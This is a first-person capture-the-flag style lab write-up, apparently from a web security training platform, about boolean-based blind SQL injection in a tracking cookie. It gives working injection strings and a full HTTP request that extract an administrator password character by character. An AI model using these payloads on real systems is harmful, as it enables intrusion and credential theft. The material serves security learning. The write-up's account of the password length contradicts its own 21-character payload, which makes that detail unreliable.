What is Blind SQL Injection?
Blind SQLi is when the application is vulnerable but HTTP responses don’t return query results or error details — making UNION attacks ineffective since there’s nothing to read back.
Exploiting via Conditional Responses
Consider a tracking cookie processed like this:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
The app shows a “Welcome back” message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data.
Injecting two conditions back to back:
xyz' AND '1'='1 ← true → "Welcome back" shown
xyz' AND '1'='2 ← false → "Welcome back" gone
This lets you ask yes/no questions against the database and infer data one bit at a time.
To brute-force the Administrator password, test one character at a time using SUBSTRING:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
- “Welcome back” shown → first char is after
m in the alphabet
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
- No “Welcome back” → first char is not after
t
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
- “Welcome back” shown → first char is
s ✓
Repeat for each character position until the full password is recovered.
SUBSTRING is called SUBSTR on some databases — check the SQL injection
cheat sheet.
Lab
In this lab, I exploited a blind SQL injection vulnerability in the TrackingId cookie to extract the administrator password character by character.
The application returned a different response when the injected condition evaluated to true, which allowed boolean-based extraction.
Working Payload
GET / HTTP/2
Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.net
Cookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV
The injection works because the backend query likely looks like:
WHERE TrackingId = '<cookie value>'
By injecting:
I:
- Closed the original string
- Appended a boolean condition
- Commented out the rest of the original query
Mistake I Kept Making
I got stuck multiple times because I forgot to append -- at the end of the payload.
Without the comment:
- The original query was not properly terminated
- The trailing
' from the application broke the syntax
- The condition never evaluated correctly
Important detail: -- must usually be followed by a space.
Correct pattern:
I used Burp Intruder to brute-force the password using prefix matching.
Strategy:
- Start with length = 1
- Bruteforce the first character
- Increase substring length gradually
- Continue expanding the known prefix
Example:
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 1, 5) = 'ewlza'--
If the response indicated true, the prefix was correct.
I increased the substring length from 1 up to 21.
Where It Stopped Working
When I tested length 21, I stopped getting matches.
This indicated:
- The actual password length was likely 20 characters
- Comparing beyond the real length caused the condition to return false
This confirmed that the full password had been extracted.
Cleaner Alternative Approach
Instead of matching growing prefixes, a more controlled method is testing one character at a time:
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 5, 1) = 'a'--
This avoids long prefix comparisons and reduces potential mistakes.
Key Takeaways
- Always terminate injections with
-- .
- A missing SQL comment can completely break blind SQLi.
- If increasing substring length stops producing matches, you likely exceeded the real string length.
- Boolean-based blind SQLi works reliably when response differences exist.
- Burp Intruder is effective for structured character-by-character extraction.